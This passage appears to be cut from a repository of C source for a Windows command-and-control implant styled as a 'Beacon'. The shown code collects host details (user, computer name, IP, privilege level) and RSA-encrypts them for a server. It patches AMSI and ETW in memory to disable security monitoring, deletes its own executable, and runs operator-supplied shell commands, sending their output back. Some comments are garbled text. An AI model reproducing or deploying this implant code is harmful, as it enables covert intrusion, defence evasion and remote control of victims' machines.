PEM_read_bio_PUBKEY(bio, NULL, NULL, NULL);\n    if (evp_key == NULL) {\n        fprintf(stderr, \"Error loading EVP public key\\n\");\n        BIO_free(bio);\n    }\n\n\n    // ȡԿȺֽ\n    int pub_key_len = i2d_PUBKEY(evp_key, NULL);\n    if (pub_key_len <= 0) {\n        fprintf(stderr, \"Error getting public key length\\n\");\n        EVP_PKEY_free(evp_key);\n        exit;\n    }\n\n    unsigned char* pub_key_bytes = (unsigned char*)malloc(pub_key_len);\n    if (pub_key_bytes == NULL) {\n        fprintf(stderr, \"Memory allocation failed\\n\");\n        EVP_PKEY_free(evp_key);\n        exit;\n    }\n\n    unsigned char* temp_pub_key_bytes = pub_key_bytes;\n    pub_key_len = i2d_PUBKEY(evp_key, &temp_pub_key_bytes);\n    if (pub_key_len <= 0) {\n        fprintf(stderr, \"Error getting public key data\\n\");\n        free(pub_key_bytes);\n        EVP_PKEY_free(evp_key);\n        exit;\n    }\n\n    // ԿΪRSAԿ\n    RSA* rsa_pub_key = EVP_PKEY_get1_RSA(evp_key);\n    if (rsa_pub_key == NULL) {\n        fprintf(stderr, \"Error extracting RSA public key\\n\");\n        free(pub_key_bytes);\n        EVP_PKEY_free(evp_key);\n        exit;\n    }\n\n\n    // ܵԭʼ\n    MakeMetaInfoResult MakeMetaInfoResult = MakeMetaInfo();\n\n\n    uint8_t* EntryMeta = MakeMetaInfoResult.MakeMeta;\n\n    size_t orig_data_len = MakeMetaInfoResult.MakeMetaLen;\n\n\n\n    // ڴ洢ܺ\n    unsigned char* encrypted_data = (unsigned char*)malloc(RSA_size(rsa_pub_key));\n    if (encrypted_data == NULL) {\n        fprintf(stderr, \"Memory allocation failed\\n\");\n        RSA_free(rsa_pub_key);\n        free(pub_key_bytes);\n        exit;\n    }\n\n\n    // ʹùԿ PKCS#1 v1.5 ļܲ\n    int encrypted_len = RSA_public_encrypt(orig_data_len, EntryMeta, encrypted_data, rsa_pub_key, RSA_PKCS1_PADDING);\n    if (encrypted_len == -1) {\n        fprintf(stderr, \"Encryption failed\\n\");\n        free(encrypted_data);\n        RSA_free(rsa_pub_key);\n        exit;\n    }\n\n    // ܺ\n   /* printf(\"EncryMetadata Encrypted data (hex)11111111111: \");\n    for (int i = 0; i < encrypted_len; ++i) {\n        printf(\"0x%02X, \", encrypted_data[i]);\n    }\n    printf(\"%d\", encrypted_len);\n    printf(\"\\n\");*/\n\n    EncryMetadataResult EncryMetadataResult;\n    EncryMetadataResult.EncryMetadata = encrypted_data;\n    EncryMetadataResult.EncryMetadataLen = encrypted_len;\n    return EncryMetadataResult;\n\n    // ͷڴԴ\n    free(encrypted_data);\n    RSA_free(rsa_pub_key);\n    free(pub_key_bytes);\n    BIO_free(bio);\n    EVP_PKEY_free(evp_key);\n\n\n\n}\n\n// ģ IsHighPriv \n\n\n\n// ȡϵͳϢжǷΪ64λ\nbool IsOSX64() {\n    SYSTEM_INFO systemInfo;\n    GetNativeSystemInfo(&systemInfo);\n\n    if (systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 ||\n        systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_ARM64) {\n        return true; // 64λ\n    }\n    else {\n        return false; // 64λ\n    }\n}\n\ntypedef NTSTATUS(WINAPI* PFN_RTLGETVERSION)(PRTL_OSVERSIONINFOW);\n\n\nunsigned char* GetOSVersion() {\n    wchar_t ntdll_str[] = L\"ntdll.dll\";\n    HINSTANCE hModule = LoadLibrary(ntdll_str);\n    if (hModule == NULL) {\n        printf(\"Failed to load ntdll.dll\\n\");\n        return NULL;\n    }\n\n    // ȡ RtlGetVersion ַ\n    typedef NTSTATUS(WINAPI* PFN_RTLGETVERSION)(LPOSVERSIONINFOEXW);\n    PFN_RTLGETVERSION pfnRtlGetVersion = (PFN_RTLGETVERSION)GetProcAddress(hModule, \"RtlGetVersion\");\n    if (pfnRtlGetVersion == NULL) {\n        printf(\"Failed to get address of RtlGetVersion\\n\");\n        FreeLibrary(hModule);\n        return NULL;\n    }\n\n    OSVERSIONINFOEXW osvi;\n    ZeroMemory(&osvi, sizeof(OSVERSIONINFOEXW));\n    osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXW);\n\n    //  RtlGetVersion ȡϵͳ汾Ϣ\n    NTSTATUS status = pfnRtlGetVersion(&osvi);\n    if (status != 0) {\n        printf(\"RtlGetVersion failed: %lu\\n\", status);\n        FreeLibrary(hModule);\n        return NULL;\n    }\n\n    // ͷ ntdll.dll \n    FreeLibrary(hModule);\n\n    // ڴԴ洢 OS 汾Ϣַ\n    char* osVersion = (char*)malloc(50); // Allocate enough memory for the version string\n    if (osVersion != NULL) {\n        //  OS 汾ϢʽΪַ\n        sprintf_s(osVersion, 50, \"OS Version: %lu.%lu.%lu\", osvi.dwMajorVersion, osvi.dwMinorVersion, osvi.dwBuildNumber);\n        return osVersion;\n    }\n    else {\n        printf(\"Memory allocation failed\\n\");\n        return NULL;\n    }\n}\n\nint GetMetaDataFlag() {\n    int flagInt = 0;\n\n    if (IsHighPriv()) {\n        flagInt += 8;\n    }\n\n    bool isOSX64 = IsOSX64();\n    if (isOSX64) {\n        flagInt += 4;\n    }\n\n    bool isProcessX64 = IsProcessX64();\n    if (isProcessX64) {\n        flagInt += 2;\n    }\n\n    return flagInt;\n}\n\n\n\n\n// ģ IsProcessX64 \nbool IsProcessX64() {\n#if defined(_WIN64)\n    return true; // Ϊ64λӦ\n#else\n    return false; // Ϊ32λӦ\n#endif\n}\n\n\n\nuint32_t GetLocalIPInt() {\n    PIP_ADAPTER_INFO pAdapterInfo;\n    PIP_ADAPTER_INFO pAdapter = NULL;\n    ULONG outBufLen = 0;\n    DWORD ret = 0;\n    uint32_t ip = 0;\n    uint32_t ip16 = 0;\n\n    outBufLen = sizeof(IP_ADAPTER_INFO);\n    pAdapterInfo = (IP_ADAPTER_INFO*)malloc(outBufLen);\n    if (pAdapterInfo == NULL) {\n        return 0;\n    }\n\n    ret = GetAdaptersInfo(pAdapterInfo, &outBufLen);\n    if (ret == ERROR_BUFFER_OVERFLOW) {\n        free(pAdapterInfo);\n        pAdapterInfo = (IP_ADAPTER_INFO*)malloc(outBufLen);\n        if (pAdapterInfo == NULL) {\n            return 0;\n        }\n        ret = GetAdaptersInfo(pAdapterInfo, &outBufLen);\n    }\n\n    if (ret != ERROR_SUCCESS) {\n        free(pAdapterInfo);\n        return 0;\n    }\n\n    pAdapter = pAdapterInfo;\n    while (pAdapter) {\n        IP_ADDR_STRING* pAddress = &(pAdapter->IpAddressList);\n        while (pAddress) {\n            char* ipAddress = pAddress->IpAddress.String;\n            if (strncmp(ipAddress, \"169.254.\", 8) != 0) {\n                struct in_addr addr;\n                if (inet_pton(AF_INET, ipAddress, &addr) == 1) {\n                    ip = ntohl(addr.s_addr);\n                    \n                    ip16 = ntohl(addr.s_addr) >> 16;\n                    break;\n                }\n            }\n            pAddress = pAddress->Next;\n        }\n        if (ip != 0 || ip16 != 0) {\n            break;\n        }\n        pAdapter = pAdapter->Next;\n    }\n\n    free(pAdapterInfo);\n   \n\n    return (ip != 0) ? ip : ip16;\n}\n\nchar* GetComputerNameAsString() {\n    wchar_t computerName[MAX_COMPUTERNAME_LENGTH + 1];\n    DWORD size = MAX_COMPUTERNAME_LENGTH + 1;\n\n    if (!GetComputerNameW(computerName, &size)) {\n        return \"unknown\"; // ȡʧܣһĬϵַ\n    }\n\n    // ַתΪַֽ\n    int mbLen = WideCharToMultiByte(CP_UTF8, 0, computerName, -1, NULL, 0, NULL, NULL);\n    char* mbComputerName = (char*)malloc(mbLen * sizeof(char));\n    if (mbComputerName == NULL) {\n        return \"unknown\"; // ڴʧܣĬַ\n    }\n\n    WideCharToMultiByte(CP_UTF8, 0, computerName, -1, mbComputerName, mbLen, NULL, NULL);\n\n    return mbComputerName;\n}\n\n\nchar* GetUsername() {\n    char* username;\n    DWORD size = UNLEN + 1;\n    username = (char*)malloc(size * sizeof(char));\n\n    if (!GetUserNameA(username, &size)) {\n        free(username);\n        return \"unknown\";\n    }\n\n    return username;\n}\n\nchar* GetProcessName() {\n    char* processName;\n    DWORD size = MAX_PATH;\n    processName = (char*)malloc(size * sizeof(char));\n\n    if (!GetModuleFileNameA(NULL, processName, size)) {\n        free(processName);\n        return \"unknown\";\n    }\n\n    char* result = strrchr(processName, '\\\\');\n    if (result != NULL) {\n        return result + 1;\n    }\n\n    char* backslashPos = strrchr(processName, '/');\n    if (backslashPos != NULL) {\n        return backslashPos + 1;\n    }\n\n    return processName;\n}\nunsigned char* GetCodePageANSI(size_t* bytesWritten) {\n    UINT acp = GetACP();\n    unsigned char* acpBytes = (unsigned char*)malloc(2 * sizeof(unsigned char));\n    if (acpBytes == NULL) {\n        *bytesWritten = 0;\n        return NULL;\n    }\n\n    //  acp תΪֽУ洢 acpBytes \n    acpBytes[0] = (unsigned char)(acp & 0xFF);\n    acpBytes[1] = (unsigned char)((acp >> 8) & 0xFF);\n\n    // ÷صֽ\n    *bytesWritten = 2;\n\n    return acpBytes;\n\n}\n\nunsigned char* GetCodePageOEM(size_t* bytesWritten) {\n    uint32_t oemcp = GetOEMCP();\n\n    // 洢 OEM ҳ\n    unsigned char* oemcpBytes = (unsigned char*)malloc(2 * sizeof(unsigned char));\n    if (oemcpBytes == NULL) {\n        *bytesWritten = 0;\n        return NULL;\n    }\n\n    //  oemcp תΪֽУ洢 oemcpBytes \n    oemcpBytes[0] = (unsigned char)(oemcp & 0xFF);\n    oemcpBytes[1] = (unsigned char)((oemcp >> 8) & 0xFF);\n\n    // ÷صֽ\n    *bytesWritten = 2;\n\n    return oemcpBytes;\n}\n\nuint8_t* GetMagicHead(uint8_t* MagicHead) {\n    uint16_t MagicNum = 0xBEEF;\n\n    PutUint32BigEndian(MagicHead, MagicNum);\n    return MagicHead;\n}"
  },
  {
    "path": "Beacon/MetaData.h",
    "content": "#pragma once\n#include <stdio.h>\n#include <windows.h>\n#include <stdint.h>\n#include <stdbool.h>\n#include <stdlib.h>\n#include <string.h>\n#include <openssl/evp.h>\n#include <openssl/rand.h>\n#include <openssl/sha.h>\n#include <openssl/rsa.h>\n#include <openssl/pem.h>\n#include <openssl/err.h>\n#include <openssl/bio.h>\n#include <openssl/buffer.h>\n#include <openssl/hmac.h>\n#include <curl/curl.h>\n#pragma warning(disable:4996) \n\ntypedef struct {\n    uint8_t* MakeMeta;\n    size_t MakeMetaLen;\n} MakeMetaInfoResult;\n\ntypedef struct {\n    unsigned char* EncryMetadata;\n    int EncryMetadataLen;\n} EncryMetadataResult;\n\n\nMakeMetaInfoResult MakeMetaInfo();\nEncryMetadataResult EncryMetadata();\nbool IsHighPriv();\nbool IsOSX64();\nbool IsProcessX64();\nint  GetMetaDataFlag();\nunsigned char* GetOSVersion();\nuint32_t GetLocalIPInt();\nchar* GetComputerNameAsString();\nchar* GetUsername();\nchar* GetProcessName();\nunsigned char* GetCodePageANSI(size_t* bytesWritten);\nunsigned char* GetCodePageOEM(size_t* bytesWritten);\nuint8_t* GetMagicHead(uint8_t* MagicHead);"
  },
  {
    "path": "Beacon/Patch.c",
    "content": "\n#include <Windows.h>\n#include <stdio.h>\n#pragma comment(lib, \"ntdll\")\n#include <tlhelp32.h>\n#include <tchar.h>\n#include \"Util.h\"\n#ifndef NT_SUCCESS\n#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)\n#endif\n\nchar ams1[] = { 'a','m','s','i','.','d','l','l',0 };\nchar ams10pen[] = { 'A','m','s','i','O','p','e','n','S','e','s','s','i','o','n',0 };\n\nEXTERN_C NTSTATUS NtProtectVirtualMemory(\n\tIN HANDLE ProcessHandle,\n\tIN OUT PVOID* BaseAddress,\n\tIN OUT PSIZE_T RegionSize,\n\tIN ULONG NewProtect,\n\tOUT PULONG OldProtect);\n\nEXTERN_C NTSTATUS NtWriteVirtualMemory(\n\tIN HANDLE ProcessHandle,\n\tIN PVOID BaseAddress,\n\tIN PVOID Buffer,\n\tIN SIZE_T NumberOfBytesToWrite,\n\tOUT PSIZE_T NumberOfBytesWritten OPTIONAL);\n\n\nDWORD64 GetAddr(LPVOID addr) {\n\n\tfor (int i = 0; i < 1024; i++) {\n\n\t\tif (*((PBYTE)addr + i) == 0x74) return (DWORD64)addr + i;\n\t}\n\n}\nvoid patchitETW(HANDLE hproc) {\n\n    \n    unsigned char etwPatch[] = { 0xC3 };\n    ULONG OldProtection, NewProtection;\n    SIZE_T uSize = sizeof(etwPatch);\n    NTSTATUS status;\n    HMODULE hNtdllDll = LoadLibrary(L\"ntdll.dll\");\n    if (NULL == hNtdllDll)\n    {\n\t\tchar result[21] = \"Load ntdll.dll error\";\n\t\tunsigned char* res = (unsigned char*)malloc(sizeof(result));\n\t\tmemcpy(res, result, sizeof(result));\n\t\tDataProcess(res, sizeof(res), 0);\n        return;\n    }\n\tchar EtwW[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e',0 };\n\tchar ntt[] = { 'n','t','d','l','l','.','d','l','l',0 };\n    void* pETWaddress = (void*)GetProcAddress(GetModuleHandleA(ntt), EtwW);\n\n    void* lpBaseAddress = pETWaddress;\n\n    status = NtProtectVirtualMemory(hproc, (PVOID)&lpBaseAddress, (PULONG)&uSize, PAGE_READWRITE, &OldProtection);\n\n\tif (!NT_SUCCESS(status))\n    {\n\t\tchar result[63] =  \"Failed to modify EtwEventWrite memory permission to READWRITE.\";\n\t\tunsigned char* res = (unsigned char*)malloc(sizeof(result));\n\t\tmemcpy(res, result, sizeof(result));\n\t\tDataProcess(res, sizeof(res), 0);\n        return;\n    }\n\n\n    status = NtWriteVirtualMemory(hproc, pETWaddress, (PVOID)etwPatch, sizeof(etwPatch), NULL);\n\n\tif (!NT_SUCCESS(status))\n    {\n\t\tchar result[39] = \"Failed to copy patch to EtwEventWrite.\";\n\t\tunsigned char* res = (unsigned char*)malloc(sizeof(result));\n\t\tmemcpy(res, result, sizeof(result));\n\t\tDataProcess(res, sizeof(res), 0);\n        return;\n    }\n\n    status = NtProtectVirtualMemory(hproc, (PVOID)&lpBaseAddress, (PULONG)&uSize, OldProtection, &NewProtection);\n\n\tif (!NT_SUCCESS(status))\n    {\n\t\tchar result[68] = \"Failed to modify EtwEventWrite memory permission to original state.\";\n\t\tunsigned char* res = (unsigned char*)malloc(sizeof(result));\n\t\tmemcpy(res, result, sizeof(result));\n\t\tDataProcess(res, sizeof(res), 0);\n        return;\n    }\n\tchar result[19] = \"[+] ETW patched !!\";\n\tunsigned char* res = (unsigned char*)malloc(sizeof(result));\n\tmemcpy(res, result, sizeof(result));\n\tDataProcess(res, sizeof(res), 0);\n\n}\n\nvoid AMS1patch1(HANDLE hproc) {\n\n\tvoid* ptr = GetProcAddress(LoadLibraryA(ams1), ams10pen);\n\n\n\tchar Patch[100];\n\tZeroMemory(Patch, 100);\n\tlstrcatA(Patch, \"\\x75\");\n\n\t//printf(\"\\n[+] The Patch : %p\\n\\n\", *(INT_PTR*)Patch);\n\n\tDWORD OldProtect = 0;\n\tSIZE_T memPage = 0x1000;\n\t//void* ptraddr = (void*)(((INT_PTR)ptr + 0xa));\n\tvoid* ptraddr = (void*)((DWORD64)ptr + 0x3);\n\tvoid* ptraddr2 = (void*)GetAddr(ptr);\n\n\tNTSTATUS NtProtectStatus1 = NtProtectVirtualMemory(hproc, &ptraddr2, (PSIZE_T)&memPage, 0x04, &OldProtect);\n\tif (!NT_SUCCESS(NtProtectStatus1)) {\n\t\tchar result[43] = \"[!] Failed in NtProtectVirtualMemory1 \";\n\t\tunsigned char* res = (unsigned char*)malloc(sizeof(result));\n\t\tmemcpy(res, result, sizeof(result));\n\t\tDataProcess(res, sizeof(res), 0);\n\t\treturn;\n\t}\n\tNTSTATUS NtWriteStatus = NtWriteVirtualMemory(hproc, (void*)GetAddr(ptr), (PVOID)Patch, 1, (SIZE_T*)NULL);\n\tif (!NT_SUCCESS(NtWriteStatus)) {\n\t\tchar result[41] = \"[!] Failed in NtWriteVirtualMemory \";\n\t\tunsigned char* res = (unsigned char*)malloc(sizeof(result));\n\t\tmemcpy(res, result, sizeof(result));\n\t\tDataProcess(res, sizeof(res), 0);\n\t\treturn;\n\t}\n\tNTSTATUS NtProtectStatus2 = NtProtectVirtualMemory(hproc, &ptraddr2, (PSIZE_T)&memPage, OldProtect, &OldProtect);\n\tif (!NT_SUCCESS(NtProtectStatus2)) {\n\t\tchar result[39] = \"[!] Failed in NtProtectVirtualMemory2 \";\n\t\tunsigned char* res = (unsigned char*)malloc(sizeof(result));\n\t\tmemcpy(res, result, sizeof(result));\n\t\tDataProcess(res, sizeof(res), 0);\n\t\treturn;\n\t}\n\n\tchar result[20] = \"[+] AMSI patched !!\";\n\tunsigned char* res = (unsigned char*)malloc(sizeof(result));\n\tmemcpy(res, result, sizeof(result));\n\tDataProcess(res, sizeof(res), 0);\n\n\n\n\n}\nBOOL Self_Delete() {\n\tconst wchar_t* NewStream = L\":endfile\";\n\tWCHAR szPath[MAX_PATH * 2] = { 0 };\n\n\t// ȡǰִļ·  \n\tif (GetModuleFileNameW(NULL, szPath, MAX_PATH * 2) == 0) {\n\t\t//wcerr << L\"[!] GetModuleFileNameW fail , code is  \" << GetLastError() << //endl;\n\t\treturn FALSE;\n\t}\n\n\t// ļ\n\tHANDLE hFile = CreateFileW(szPath,\n\t\tDELETE | SYNCHRONIZE,\n\t\tFILE_SHARE_READ,\n\t\tNULL,\n\t\tOPEN_EXISTING,\n\t\tNULL, NULL);\n\tif (hFile == INVALID_HANDLE_VALUE) {\n\t\t//wcerr << L\"[!] CreateFileW fail , code is \" << GetLastError() << //endl;\n\t\treturn FALSE;\n\t}\n\n\t// ׼Ϣ  \n\tSIZE_T sRename = sizeof(FILE_RENAME_INFO) + sizeof(wchar_t) * wcslen(NewStream);\n\tPFILE_RENAME_INFO pRename = (PFILE_RENAME_INFO)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sRename);\n\tif (!pRename) {\n\t\tCloseHandle(hFile);\n\t\t//wcerr << L\"[!] HeapAlloc fail , code is \" << GetLastError() << //endl;\n\t\treturn FALSE;\n\t}\n\n\tpRename->FileNameLength = wcslen(NewStream) * sizeof(wchar_t);\n\tRtlCopyMemory(pRename->FileName, NewStream, pRename->FileNameLength);\n\t//wcout << L\"[i] Renaming :$DATA to file data as \" << NewStream << //endl;\n\t//SetFileInformationByHandleļ\n\tif (!SetFileInformationByHandle(hFile, FileRenameInfo, pRename, sRename)) {\n\t\t//wcerr << L\"[!] SetFileInformationByHandle fail, code is\" << GetLastError() << //endl;\n\t\tCloseHandle(hFile);\n\t\tHeapFree(GetProcessHeap(), 0, pRename);\n\t\treturn FALSE;\n\t}\n\n\t//wcout << L\"[+] Completed\" << //endl;\n\tCloseHandle(hFile);\n\n\t// ļɾ  \n\thFile = CreateFileW(szPath,\n\t\tDELETE | SYNCHRONIZE,\n\t\tFILE_SHARE_READ,\n\t\tNULL,\n\t\tOPEN_EXISTING,\n\t\tNULL, NULL);\n\n\tif (hFile == INVALID_HANDLE_VALUE && GetLastError() == 0) {\n\t\t//wcout << \"free memory\" << //endl;\n\t\tHeapFree(GetProcessHeap(), 0, pRename);\n\t\treturn TRUE;\n\t}\n\n\tFILE_DISPOSITION_INFO Delete = { 0 };\n\tDelete.DeleteFile = TRUE;\n\t//wcout << L\"[+] Deleting .....\" << //endl;\n\n\tif (!SetFileInformationByHandle(hFile, FileDispositionInfo, &Delete, sizeof(Delete))) {\n\t\t//wcerr << L\"[!] SetFileInformationByHandle fail, code is  \" << GetLastError() << //endl;\n\t\tCloseHandle(hFile);\n\t\tHeapFree(GetProcessHeap(), 0, pRename);\n\t\treturn FALSE;\n\t}\n\n\tCloseHandle(hFile);\n\tHeapFree(GetProcessHeap(), 0, pRename);\n\t//wprintf(L\"[+] Done\\n\");\n\treturn TRUE;\n}\n\n//int patch(DWORD currentProcessId) {\nint Duan(DWORD process) {\n\tHANDLE hProc;\n\t\n\t//printf(\"Parent Process ID: %lu\\n\", process);\n\thProc = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, process);\n\tif (!hProc) {\n\t\tchar result[22] = \"Failed in OpenProcess\";\n\t\tunsigned char* res = (unsigned char*)malloc(sizeof(result));\n\t\tmemcpy(res, result, sizeof(result));\n\t\tDataProcess(res, sizeof(res), 0);\n\t\treturn 2;\n\t}\n\t\n\t\n\tAMS1patch1(hProc);\n\tpatchitETW(hProc);\n\tSelf_Delete();\n\n\n\treturn 0;\n\n}"
  },
  {
    "path": "Beacon/Shell.c",
    "content": "#include <windows.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <tchar.h>\n#include \"Command.h\"\n#include \"Job.h\"\n#pragma warning(disable:4996)\n#ifdef UNICODE\n#include <Windows.h>\n#include <TlHelp32.h>\n#define TCHAR wchar_t\n#define TEXT(str) L##str\n#else\n#define TCHAR char\n#define TEXT(str) str\n#endif\n\nextern BeaconJob;\n\n// Function to convert unsigned char* to _TCHAR*\nTCHAR* ConvertTo_TCHAR(const unsigned char* input) {\n#ifdef UNICODE\n    // If you are using Unicode\n    int length = MultiByteToWideChar(CP_UTF8, 0, (const char*)input, -1, NULL, 0);\n    TCHAR* result = (TCHAR*)malloc(length * sizeof(TCHAR));\n    MultiByteToWideChar(CP_UTF8, 0, (const char*)input, -1, result, length);\n    return result;\n#else\n    // If you are using ANSI\n    int length = strlen((const char*)input);\n    TCHAR* result = (TCHAR*)malloc((length + 1) * sizeof(TCHAR)); // +1 for the null terminator\n    strcpy(result, (const char*)input);\n    return result;\n#endif\n}\n\ntypedef struct {\n    unsigned char* shellPath;\n    unsigned char* shellBuf;\n} ParseCommandShellparse;\n\n\nstruct ThreadArgs {\n    unsigned char* buf;\n    size_t* commandBuflen;\n    size_t* Bufflen;\n};\nParseCommandShellparse ParseCommandShell(unsigned char* buf) {\n    uint8_t pathLenBytes[4];\n    memcpy(pathLenBytes, buf, 4);\n    uint32_t pathLen = bigEndianUint32(pathLenBytes);\n    unsigned char* path = (unsigned char*)malloc(pathLen);\n    path[pathLen] = '\\0';\n    unsigned char* pathstart = buf + 4;\n    memcpy(path, pathstart, pathLen);\n    uint8_t cmdLenBytes[4];\n    unsigned char* cmdLenBytesstart = buf + 4+ pathLen;\n    memcpy(cmdLenBytes, cmdLenBytesstart, 4);\n    uint32_t cmdLen = bigEndianUint32(cmdLenBytes);\n    unsigned char* cmd = (unsigned char*)malloc(cmdLen);\n    cmd[cmdLen] = '\\0';\n    unsigned char* cmdstart = buf + 8 + pathLen;\n    memcpy(cmd, cmdstart, cmdLen);\n    unsigned char* envKey = str_replace_all(path, \"%\", \"\");\n\n    unsigned char* app = getenv(envKey);\n    ParseCommandShellparse ParseCommandShellparse;\n    ParseCommandShellparse.shellPath = app;\n    ParseCommandShellparse.shellBuf = cmd;\n    return ParseCommandShellparse;\n\n\n}\nDWORD WINAPI myThreadCmdRun(LPVOID lpParam) {\n    Sleep(2000);\n    struct ThreadArgs* args = (struct ThreadArgs*)lpParam;\n    unsigned char* buf = args->buf;\n    size_t* commandBuflen = args->commandBuflen;\n    size_t* Bufflen = args->Bufflen;\n\n    BOOL bRet = FALSE;\n\n    HANDLE hReadPipe = NULL;\n    HANDLE hWritePipe = NULL;\n    SECURITY_ATTRIBUTES securityAttributes = { 0 };\n    STARTUPINFO si = { 0 };\n    PROCESS_INFORMATION pi = { 0 };\n    CreatePipeJob Createpipe = createjob();\n    hReadPipe = Createpipe.hReadPipe;\n    si = Createpipe.si;\n\n\n    ParseCommandShellparse ParseCommand = ParseCommandShell(buf);\n    TCHAR* shellBuf = ConvertTo_TCHAR(ParseCommand.shellBuf);\n\n\n\n    // в\n    _TCHAR commandLine[MAX_PATH];\n    _sntprintf(commandLine, MAX_PATH, _T(\"%s\"), shellBuf);//C:\\WINDOWS\\system32\\cmd.exe  /C whoami\n\n    bRet = CreateProcess(NULL, commandLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);\n    if (FALSE == bRet) {\n        printf(\"CreateProcess\");\n        return FALSE;\n    }\n    \n    Add_Beacon_0Job(pi.hProcess, pi.hThread, pi.dwProcessId, pi.dwThreadId, hReadPipe, hWritePipe, \"process\")->JobType = 30;\n    // Wait for the command execution to finish\n    //WaitForSingleObject(pi.hThread, INFINITE);\n    //WaitForSingleObject(pi.hProcess, INFINITE);\n    WaitForSingleObject(pi.hProcess, 5000);\n    // Read the result from the anonymous pipe into the output buffer\n    bool lastTime = false;\n    bool firstTime = true;\n    OVERLAPPED overlap = { 0 };\n    DWORD readbytes = 0;\n    DWORD availbytes = 0;\n    unsigned char buffff[1024 * 50];\n    while (!lastTime) {\n\n\n        DWORD event = WaitForSingleObject(pi.hProcess, 0);\n        if (event == WAIT_OBJECT_0 || event == WAIT_FAILED) {\n            lastTime = TRUE;\n        }\n\n        if (!PeekNamedPipe(hReadPipe, NULL, 0, NULL, &availbytes, NULL)) break;\n        while (lastTime == false && availbytes == 0) {\n            DWORD event = WaitForSingleObject(pi.hProcess, 5000);\n            PeekNamedPipe(hReadPipe, NULL, 0, NULL, &availbytes, NULL);\n        }\n\n        //if (!availbytes) break;\n        //if (!ReadFile(hReadPipe, buffff, min(sizeof(buffff) - 1, availbytes), &readbytes, NULL) || !readbytes) break;\n        if (lastTime == false || availbytes != 0) {\n            ReadFile(hReadPipe, buffff, sizeof(buffff), NULL, &overlap);\n        }\n\n        DWORD bytesTransferred;\n        ULONG_PTR completionKey;\n        LPOVERLAPPED pOverlapped;\n\n        if (overlap.InternalHigh > 0) {\n            if (firstTime) {\n                DataProcess(buffff, overlap.InternalHigh, 0);\n                firstTime = false;\n            }\n            else {\n                if (lastTime == false) {\n                    /*    uint8_t requestIDBytes[5] = \"[+] \";\n                      uint8_t nnnn[4] = \" :\\n\";*/\n\n                    uint8_t* metaInfoBytes1[] = { buffff };\n                    size_t metaInfosizes1[] = { overlap.InternalHigh };\n                    size_t metaInfoBytesArrays1 = sizeof(metaInfoBytes1) / sizeof(metaInfoBytes1[0]);\n                    uint8_t* metaInfoconcatenated1 = ConByte(metaInfoBytes1, metaInfosizes1, metaInfoBytesArrays1);\n                    size_t metaInfoSize1 = 0;\n                    //  sizeof ֵܺ\n                    for (size_t i = 0; i < sizeof(metaInfosizes1) / sizeof(metaInfosizes1[0]); ++i) {\n                        metaInfoSize1 += metaInfosizes1[i];\n                    }\n\n                    DataProcess(metaInfoconcatenated1, metaInfoSize1, 0);\n                }\n                else {\n                    uint8_t jia[5] = \"[+] \";\n                    uint8_t nnn[2] = \"\\n\";\n                    uint8_t end[75] = \"-----------------------------------end-----------------------------------\\n\";\n                    uint8_t* metaInfoBytes[] = { jia,end,ParseCommand.shellBuf + 4 };\n                    size_t metaInfosizes[] = { 5,75,strlen(ParseCommand.shellBuf) - 4 };\n                    size_t metaInfoBytesArrays = sizeof(metaInfoBytes) / sizeof(metaInfoBytes[0]);\n                    uint8_t* metaInfoconcatenated = ConByte(metaInfoBytes, metaInfosizes, metaInfoBytesArrays);\n                    size_t metaInfoSize = 0;\n                    //  sizeof ֵܺ\n                    for (size_t i = 0; i < sizeof(metaInfosizes) / sizeof(metaInfosizes[0]); ++i) {\n                        metaInfoSize += metaInfosizes[i];\n                    }\n                    DataProcess(metaInfoconcatenated, metaInfoSize, 0);\n\n\n                }\n                // buf[readbytes] = 0;\n                 //strncat(outbuf, buf, outbuf_size - strlen(outbuf) - 1);\n            }\n        }\n\n        Sleep(2000);\n\n    }\n    CloseHandle(pi.hThread);\n    CloseHandle(pi.hProcess);\n    CloseHandle(hWritePipe);\n    CloseHandle(hReadPipe);\n\n}\nDWORD WINAPI myThreadCmdshell(LPVOID lpParam) {\n    Sleep(2000);\n    struct ThreadArgs* args = (struct ThreadArgs*)lpParam;\n    unsigned char* buf = args->buf;\n    size_t* commandBuflen = args->commandBuflen;\n    size_t* Bufflen = args->Bufflen;\n\n    BOOL bRet = FALSE;\n\n    HANDLE hReadPipe = NULL;\n    HANDLE hWritePipe = NULL;\n    SECURITY_ATTRIBUTES securityAttributes = { 0 };\n    STARTUPINFO si = { 0 };\n    PROCESS_INFORMATION pi = { 0 };\n    CreatePipeJob Createpipe = createjob();\n    hReadPipe = Createpipe.hReadPipe;\n    si = Createpipe.si;\n\n\n    ParseCommandShellparse ParseCommand = ParseCommandShell(buf);\n    TCHAR* shellPath = ConvertTo_TCHAR(ParseCommand.shellPath);\n    TCHAR* shellBuf = ConvertTo_TCHAR(ParseCommand.shellBuf);\n\n\n\n    // в\n    _TCHAR commandLine[MAX_PATH];\n    _sntprintf(commandLine, MAX_PATH, _T(\"%s %s\"), shellPath, shellBuf);//C:\\WINDOWS\\system32\\cmd.exe  /C whoami\n\n    bRet = CreateProcess(NULL, commandLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);\n    if (FALSE == bRet) {\n        printf(\"CreateProcess\");\n        return FALSE;\n    }\n    Add_Beacon_0Job(pi.hProcess, pi.hThread, pi.dwProcessId, pi.dwThreadId, hReadPipe, hWritePipe, \"process\")->JobType = 30;\n    // Wait for the command execution to finish\n    //WaitForSingleObject(pi.hThread, INFINITE);\n    //WaitForSingleObject(pi.hProcess, INFINITE);\n    WaitForSingleObject(pi.hProcess, 5000);\n    // Read the result from the anonymous pipe into the output buffer\n    bool lastTime = false;\n    bool firstTime = true;\n    OVERLAPPED overlap = { 0 };\n    DWORD readbytes = 0;\n    DWORD availbytes = 0;\n    unsigned char buffff[1024 * 50];\n    while (!lastTime) {\n        \n        \n        DWORD event = WaitForSingleObject(pi.hProcess, 0);\n        if (event == WAIT_OBJECT_0 || event == WAIT_FAILED) {\n            lastTime = TRUE;\n        }\n\n        if 